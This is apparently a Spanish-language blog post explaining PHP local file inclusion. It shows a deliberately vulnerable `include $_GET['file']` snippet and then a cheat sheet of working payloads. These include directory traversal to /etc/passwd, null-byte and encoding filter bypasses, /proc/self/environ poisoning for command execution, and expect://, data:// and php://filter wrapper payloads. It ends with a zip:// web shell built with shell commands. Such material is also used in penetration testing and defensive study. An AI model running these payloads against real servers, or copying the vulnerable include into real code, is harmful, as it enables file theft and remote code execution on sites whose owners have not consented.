La vulnerabilidad ‘local file inclusion’ permite a un atacante leer un archivo del servidor vulnerable, se produce debido a un error de programación de la pagina.
Dependiendo de la importancia, esta vulnerabilidad puede llevar al atacante a:
- RCE (Remote Code Execution)
- XSS (Cross-site scripting)
- DoS
Los scripts que toman los nombres de archivos como parámetros, sin securizar la entrada del usuario son buenos candidatos para LFI. Un ejemplo muy básico seria el siguiente script de php:
// vuln.php <?php include $_GET['file']; ?>
http://prueba.com/vuln.php?file=image.jpg
Que toma image.jpg como parámetro.
Un atacante cambiaría image.jpg por archivos sensibles como por ejemplo :
http://prueba.com/vuln.php?file=../../../../../../../../etc/passwd
Esto no es solo una vulnerabilidad de php; también está presente en otros lenguajes como jsp, asp, entre otros.
Cheat-Sheet / Notas :
LFI Básico:
http://ex.com/index.php?page=../../../etc/passwd
- Null Byte:
Es habitual encontrarnos con php que permiten LFI y nos añaden una extensión:<? $file = $_GET['file']; require($file . ".php"); ?>
El php se añade al nombre del archivo, esto significa que no podremos encontrar los archivos que buscamos. Dado que el archivo/etc/passwd.php no existe. Sin embargo, si añadimos el nullbyte al final de nuestra cadena de ataque, el. php no será tenido en cuenta. Así que añadimos %00 al final de nuestra cadena de ataque.
http://ex.com/index.php?page=../../../etc/passwd%00
- Url-Encode:
http://ex.com/index.php?page=%252e%252e%252fetc%252fpasswd
- Bypass filtro:
http://ex.com/index.php?page=..///////..////..//////etc/passwd
http://ex.com/index.php?page=….//….//….//….//etc/passwd - Path Truncation
http://ex.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://ex.com/index.php?page=../../../../[…]../../../../../etc/passwd
/proc/self/environ
Es posible incluir el /proc/self/envirion desde el script vulnerable. Se puede aprovechar la ejecución del código manipulado el paramento User-Agent con Burp-Suite. Después de que el código php ha sido introducido, se puede ejecutar RCE.
GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1
Host: www.ex.com
User-Agent:
LFI Wrappers:
Php incorpora una serie de envolturas para distintos protocolos tipo URL para trabajar junto con funciones del sistema, son los llamados wrappers.
- PHP Wrapper expect://
http://ex.com/index.php?page=expect://whoami
- PHP Wrapper data://
http://www.ex.com/index.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>
- PHP Wrapper filter://
http://ex.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://ex.com/index.php?page=php://filter/convert.base64-encode/resource=index.php - PHP Wrapper zip://
echo "<?php \$_GET['param1'](\$_GET['param2']); ?>" > shell.php zip -0 payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php
http://ex.com/index.php?page=zip://shell.jpg%23payload.php
Herramientas: LFI
Referencias:
0 Comments
3 Pingbacks